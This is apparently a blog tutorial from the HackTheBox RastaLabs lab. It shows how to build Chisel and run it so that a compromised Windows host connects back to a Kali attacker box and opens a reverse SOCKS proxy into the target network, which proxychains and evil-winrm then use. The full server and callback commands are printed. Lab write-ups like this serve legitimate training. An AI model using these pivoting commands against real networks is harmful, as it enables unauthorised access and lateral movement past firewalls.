Reverse SOCKS Proxy Using Chisel — The Easy Way

Update: This post first described using a fork of Chisel from an unmerged pull request. This pull request is now merged into the main Chisel repo, so this is not needed anymore. You can now use the official Chisel repo.

While doing the great RastaLabs pro lab at hackthebox, I found myself with a foothold with an Empire agent on a host, but wanted to be able to use the tools on my Kali box to interact with the other hosts in the target network.

I had identified some ports that were open for outbound traffic from the beach head host to my Kali box, so a solution would have to open a connection to my attacker box, then create a socks proxy there and tunnel any traffic using the proxy back to the target network.

When asking around on the RastaLabs channels on the HTB Discord and NetSecFocus, several people suggested that I use Chisel. I found several posts on how to use Chisel to achieve what I wanted, but they used two tunnels, one inside of the other. You had to have two instances of chisel running on both hosts, both a client and a server on each. This worked, but with the layered tunnels the setup was a bit more involved than I would like.

When looking for a simpler solution, I found an unmerged pull request in the Chisel GitHub repo that implemented just what I wanted. Since I didn’t find any guides using the fork from this pull request, I thought I’d write one.

Since the publication of this post the pull request has been merged into the official Chisel repo, so you do not have to use the forked version any more.

Getting and Building Chisel

Instead of cloning from the forked repo as described previously, the functionality is now merged into the official repo:

# cd to /opt
cd /opt
# clone the repo
git clone https://github.com/jpillora/chisel.git
# cd to the cloned repo
cd chisel

We now have a copy of the chisel source, and can move on to building our binaries for Linux and for Windows (the -s and -w linker flags are not strictly needed, but they decreases the size of the resulting binary).

# sync go vendor modules, seems to be needed to build for windows
go mod vendor
# build Linux binary:
go build -ldflags "-s -w"
# build Windows binary
env GOOS=windows GOARCH=amd64 go build -o chisel-x64.exe -ldflags "-s -w"

Now we have our binaries, and can use them to set up our reverse proxy.

Setting up the reverse proxy

First we have to start chisel in server mode on our Kali host, specifiying the --reverse option, and listening on a port that is open for outbound connections in the target firewall:

./chisel server -p 8080 --reverse

The next step is to download the Windows binary to our target and connect back to our server using the new reverse socks option:

chisel-x64.exe client 10.10.14.3:8080 R:socks

If everything goes as planned you should see an output similar to the following from the server instance:

The client connecting back in reverse proxy mode

Using the Proxy

Since not all the tools we may want to use supports using a socks proxy natively, I usually use proxychains. To use proxychains you just have to add the following line to /etc/proxychains.conf:

socks5 127.0.0.1 1080

You can then use proxychains and all your favourite tools:

evil-winrm using the tunnel